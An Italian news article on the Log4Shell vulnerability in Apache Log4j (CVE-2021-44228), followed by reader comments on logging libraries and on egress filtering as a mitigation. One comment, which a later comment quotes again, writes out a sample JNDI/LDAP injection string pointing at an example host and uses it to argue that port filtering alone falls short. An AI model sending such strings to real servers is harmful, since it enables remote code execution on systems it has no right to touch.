Log4Shell è la nuova falla zeroday ancora più pericolosa di Heartbleed e ShellShock. Ecco perché

Log4Shell è la nuova falla zeroday ancora più pericolosa di Heartbleed e ShellShock. Ecco perché

E' una vulnerabilità che riguarda uno strumento open source di log utilizzato dalla gran parte delle applicazioni presenti sulla rete. E' facile da sfruttare e consente l'esecuzione di codice da remoto non autenticato

di pubblicata il , alle 11:41 nel canale Sicurezza
 

Log4Shell è una nuova vulnerabilità zeroday scoperta lo scorso giovedì, quando è stata sfruttata per compromettere da remoto i server di Minecraft. La vulnerabilità è stata tracciata con il codice CVE-2021-44228 e gli è stato assegnato un livello di gravità di 10 su 10 poiché sfruttabile molto facilmente e permette l'esecuzione di codice remoto non autenticato.

La vulnerabilità riguarda in particolare Log4j, uno strumento open source di logging di eventi basato su Java e disponibile da Apache che viene usato da centinaia di migliaia di app, in particolare in ambito cloud e comprese quelle comunemente utilizzate in quasi tutte le realtà aziendali del pianeta.

La compromissione dei server Minecraft è stata la prima avvisaglia di un problema di particolare gravità, per quanto alcune attività legate allo sfruttamento della vulnerabilità si siano verificate già a partire almeno dal 2 dicembre, secondo le rilevazioni di Cisco Talos. Il problema interessa le versioni da 2.0-beta-9 a 2.14.1 di Log4j, ed è stato risolto a partire dalla versione 2.15.0, disponibile qui. L'installazione della nuova versione chiude la falla, ma come spesso avviene in queste situazioni non è scontato che essa possa essere applicata con la dovuta tempestività.

Il logging di eventi è un processo per il quale le applicazioni conservano un elenco aggiornato delle attività eseguite e che possono così essere analizzate in un secondo momento in caso di errori. Quasi tutti i sistemi di sicurezza di rete eseguono un qualche genere di log di eventi, il che offre a librerire come Log4j una diffusione pressoché sterminata.

Lo sfruttamento della vulnerabilità avviene riuscendo a far registrare sul log una speciale sequenza di caratteri, come ha approfonditamente illustrato Cloudflare nella sua analisi. E, come detto, la vulnerabilità può essere sfruttata con facilità: nel caso di Minecraft per esempio è stato possibile registrare sul log la sequenza di caratteri semplicemente inviando un messaggio nella chat all'interno del gioco.

Da quando si è verficata la compromissione dei server Minecraft la società di sicurezza Greynoise ha rilevato una scansione attiva in corso su Internet che tentava di identificare i server vulnerabili. I ricercatori sottolineano di aver osservato che la vulnerabilità viene sfruttata a vari scopi: dall'installazione malware di cryptomining, al rafforzamento di botnet Linux, passando dall'estrazione di dati e configurazioni.

La gravità della vulnerabilità è tale da metterla allo stesso livello dei problemi conosciuti con il nome di Heartbleed e ShellShock avvenuti in passato, anche se la semplicità di sfruttamento e la diffusione di Log4j ne fanno una minaccia potenzialmente molto più pericolosa.

11 Commenti
Gli autori dei commenti, e non la redazione, sono responsabili dei contenuti da loro inseriti - info
Pino9013 Dicembre 2021, 11:46 #1
log4j è realmente dappertutto... l'ho sempre odiato perché ho sempre pensato che sia un carrozzone pachidermico rispetto alla funzione che ricopre, ossia il semplice logging.. sto pensando agli amici che in questi giorni stanno facendo i salti mortali per aggiornare i prodotti. Che mazzata
DanieleG13 Dicembre 2021, 12:01 #2
Sempre odiato, e purtroppo ovunque in azienda...
Un carrozzone java per fare logging
jepessen13 Dicembre 2021, 13:18 #3
Log4j e Log4cpp li ho sempre odiati visceralmente, quando non vengono utilizzati in maniera accorta (quasi sempre, specialmente i miei colleghi inglesi) rendono il codice un vero obbrobrio illeggibile, quando una libreria di logging dovrebbe essere il meno intrusiva possibile, sia a livello di performance (e li' ci siamo oggettivamente), che a livello di configurazione e di codice. Non riesco a capire perche' abbia tutto sto successo: motivi storici probabilmente.
LMCH13 Dicembre 2021, 13:43 #4
Attenzione al fatto che hanno verificato la vulnerabilità solo delle versioni attualmente supportate.

Se si usa una versione precedente alla 2.0 è altamente probabile che vi sia la stessa vulnerabilità o una analoga.

I blackhat non credo si fermeranno a testare solo le versioni supportate visto quanto software di prodotti IoT non viene aggiornato, quindi occhio alla roba che resterà vulnerabile, valutare i rischi ed agite di conseguenza.
biffuz13 Dicembre 2021, 13:57 #5
Originariamente inviato da: Pino90
log4j è realmente dappertutto... l'ho sempre odiato perché ho sempre pensato che sia un carrozzone pachidermico rispetto alla funzione che ricopre, ossia il semplice logging..


"semplice" logging? Lavora un po' nell'enterprise e vedi poi cosa diventa, il logging
Pino9013 Dicembre 2021, 14:26 #6
Originariamente inviato da: biffuz
"semplice" logging? Lavora un po' nell'enterprise e vedi poi cosa diventa, il logging


Logging multilivello, multifile, firmato, etc etc Alla fine sempre logging è. Dopo averlo usato continuo a ritenere che sia un carrozzone enorme e inutile.

PS guarda come viene gestito con semplicità il logging in altri ambienti con complessità paragonabile
Tasslehoff14 Dicembre 2021, 01:07 #7
Originariamente inviato da: jepessen
Log4j e Log4cpp li ho sempre odiati visceralmente, quando non vengono utilizzati in maniera accorta (quasi sempre, specialmente i miei colleghi inglesi) rendono il codice un vero obbrobrio illeggibile, quando una libreria di logging dovrebbe essere il meno intrusiva possibile, sia a livello di performance (e li' ci siamo oggettivamente), che a livello di configurazione e di codice. Non riesco a capire perche' abbia tutto sto successo: motivi storici probabilmente.
Hai detto bene, il problema non è tanto log4j (che a suo tempo ha rappresentato una bella innovazione rispetto a quando si lasciava tutto nello stdout, senza senso...) ma come viene usato, e su questo c'è da dire che il 99% degli sviluppatori non ha la più pallida idea di come usarlo, lasciano tutto a default con una rotazione insensata e una retention ingestibile.

Ma questa vulnerabilità ahimè mette a nudo un'altra scemenza totale a livello di rete e architetturale, ovvero lasciare che le macchine facciano liberamente traffico in outbound o "navighino".
Basterebbe questo per rendere di fatto inoffensivi gran parte degli attacchi di questo genere; per carità non sarebbero sistemi "sicuri", ma quantomeno l'eventuale vulnerabilità non potrebbe portare gli effetti desiderati.

Ma questo perchè avviene?
In molti casi per scarsa competenza o esperienza (e qui torniamo al solito discorso, la gente che sa lavorare si trova, ma bisogna pagarla quanto merita...), in tanti altri per pigrizia, perchè implementare a livello di codice l'uso di un proxy http (dove applicare in modo semplice e flessibile specifiche ACL) costa fatica, anche se fosse solo un copy&paste da stackoverflow...

Ah scusate quasi dimenticavo...
Aggiungiamo allo scenario di cui sopra anche la stramaledetta abitudine di non considerare (e quindi non pagare) la manutenzione e l'aggiornamento sw.
Perchè ovviamente (e questo vale tanto lato fornitore quanto committente) i costi vengono unicamente calcolati sullo sviluppo, poi una volta fatto il go-live chi s'è visto s'è visto, giusto giusto un po' di garanzia per i bug, ma tutto il resto passa in cavalleria...
Tasslehoff14 Dicembre 2021, 01:13 #8
Originariamente inviato da: Pino90
PS guarda come viene gestito con semplicità il logging in altri ambienti con complessità paragonabile
A cosa ti riferisci?
Ti prego non dirmi Elasticsearch, Logstash, Graylog e altri sarchiaponi del genere
shodan14 Dicembre 2021, 08:54 #9
Originariamente inviato da: Tasslehoff
Ma questa vulnerabilità ahimè mette a nudo un'altra scemenza totale a livello di rete e architetturale, ovvero lasciare che le macchine facciano liberamente traffico in outbound o "navighino".
Basterebbe questo per rendere di fatto inoffensivi gran parte degli attacchi di questo genere; per carità non sarebbero sistemi "sicuri", ma quantomeno l'eventuale vulnerabilità non potrebbe portare gli effetti desiderati.

Ma questo perchè avviene?
In molti casi per scarsa competenza o esperienza (e qui torniamo al solito discorso, la gente che sa lavorare si trova, ma bisogna pagarla quanto merita...), in tanti altri per pigrizia, perchè implementare a livello di codice l'uso di un proxy http (dove applicare in modo semplice e flessibile specifiche ACL) costa fatica, anche se fosse solo un copy&paste da stackoverflow...


Ciao,
non credo che il discorso sia così semplice: le vulnerabilità come questa possono tranquillamente essere veicolate su porte che vanno lasciate quasi sempre aperte (es: DNS, HTTPS, NTP, ecc). Per esempio, nessuno impedisce a un attore malevolo di mettere su un server LDAP su porta 443 e passare la log4j una stringa tipo "${jndi:ldap://example.com:443/a}"

Magari a livello proxy si riesce a fare qualcosa, ma la realtà (piaccia o meno...) è che i proxy sono sempre più in disuso, sostituiti dai firewall UTM che però sui protocolli criptati sono "ciechi" a meno che di rompere i tunnel SSL, cosa molto invasiva e anche molto discutibile.

Personalmente mi pare che l'unica soluzione sia quella di avere servizi e applicazioni con configurazioni "secure by default", dove è imperativo resistere alla smania di attivare tutto solo "perché è bello" o "perché potrebbe servire" o, ancora, semplicemente perché è di moda.

Log4j si trova dappertutto, anche come plugin di SQL Express e addirittura dentro software Java di gestione di TV/telecamere/proiettori... a che pro inserire una libreria del genere, tanto complessa, per loggare chi usa un televisore? E addirittura lasciando attiva la possibilità di lookup anonimi (altra follia)?

E' proprio la concezione di sviluppo software come la si vede in giro che mi preoccupa: spesso si segue una moda, caricando librerie a destra e a manca senza ragionare sul fatto che ogni feature in più aumenta la superficie di attacco. E quando si cerca di ragionare con lo sviluppatore, questo si sente aggredito solo perché gli si fa notare che usare mille software "bleeding edge" potrebbe non essere una buona idea, specie quando poi questi software verranno puntualmente abbandonati dallo stesso sviluppatore dopo il go-live...

Chiudo con una buona notizia (da qui: https://www.slf4j.org/log4shell.html)
"As log4j 1.x does NOT offer a JNDI look up mechanism at the message level, it does NOT suffer from CVE-2021-44228" (la versione 1.x soffre di un altro exploit simile, però più difficile da usare perché prevede la sovrascrittura di un file di configurazione).
Tasslehoff14 Dicembre 2021, 12:13 #10
Originariamente inviato da: shodan
Ciao,
non credo che il discorso sia così semplice: le vulnerabilità come questa possono tranquillamente essere veicolate su porte che vanno lasciate quasi sempre aperte (es: DNS, HTTPS, NTP, ecc). Per esempio, nessuno impedisce a un attore malevolo di mettere su un server LDAP su porta 443 e passare la log4j una stringa tipo "${jndi:ldap://example.com:443/a}"

Magari a livello proxy si riesce a fare qualcosa, ma la realtà (piaccia o meno...) è che i proxy sono sempre più in disuso, sostituiti dai firewall UTM che però sui protocolli criptati sono "ciechi" a meno che di rompere i tunnel SSL, cosa molto invasiva e anche molto discutibile.

Personalmente mi pare che l'unica soluzione sia quella di avere servizi e applicazioni con configurazioni "secure by default", dove è imperativo resistere alla smania di attivare tutto solo "perché è bello" o "perché potrebbe servire" o, ancora, semplicemente perché è di moda.

Log4j si trova dappertutto, anche come plugin di SQL Express e addirittura dentro software Java di gestione di TV/telecamere/proiettori... a che pro inserire una libreria del genere, tanto complessa, per loggare chi usa un televisore? E addirittura lasciando attiva la possibilità di lookup anonimi (altra follia)?

E' proprio la concezione di sviluppo software come la si vede in giro che mi preoccupa: spesso si segue una moda, caricando librerie a destra e a manca senza ragionare sul fatto che ogni feature in più aumenta la superficie di attacco. E quando si cerca di ragionare con lo sviluppatore, questo si sente aggredito solo perché gli si fa notare che usare mille software "bleeding edge" potrebbe non essere una buona idea, specie quando poi questi software verranno puntualmente abbandonati dallo stesso sviluppatore dopo il go-live...
Concordo al 100% su quanto dici riguardo allo sviluppo.
La mia osservazione non voleva essere un'alternativa a tutto questo, ma solo una mitigazione agli effetti di uno sviluppo superficiale.

Sul traffico in outbound io onestamente sono molto più rigido, se sta a me decidere io non lasciarei aperto nulla in outbound.
Devi accedere a un servizio di terze parti? Lo fai tramite proxy (ormai di fatto si tratta di ws nel 100% dei casi, non esiste più nessuno che usa protocolli proprietari che non passino via http), ma come dicevo il proxy non deve essere configurato a livello di sistema operativo o direttamente nella configurazione dell'application server (o a livello di parametro della jvm, giusto per restare in tema java), ma la chiamata http tramite proxy deve essere implementata a livello di codice (chiaramente definendo in modo parametrico le variabili che permettono di usare il proxy).
In caso contrario salta tutto, se si sfrutta una vulnerabilità RCE e il processo vulnerabile ha già il suo bel proxy pronto all'uso non serve a nulla (o quasi).
Il resto come DNS e NTP imho va chiuso a prescindere, farsi un dns o un server ntp interno è questione di 5 minuti, alla peggio si mitiga aprendo a livello perimetrale solo verso gli ip specifico del dns o del server ntp che si vuole utilizzare.

Chiudo con una buona notizia (da qui: https://www.slf4j.org/log4shell.html)
"As log4j 1.x does NOT offer a JNDI look up mechanism at the message level, it does NOT suffer from CVE-2021-44228" (la versione 1.x soffre di un altro exploit simile, però più difficile da usare perché prevede la sovrascrittura di un file di configurazione).
Grazie dell'aggiornamento

Devi effettuare il login per poter commentare
Se non sei ancora registrato, puoi farlo attraverso questo form.
Se sei già registrato e loggato nel sito, puoi inserire il tuo commento.
Si tenga presente quanto letto nel regolamento, nel rispetto del "quieto vivere".

La discussione è consultabile anche qui, sul forum.
 
^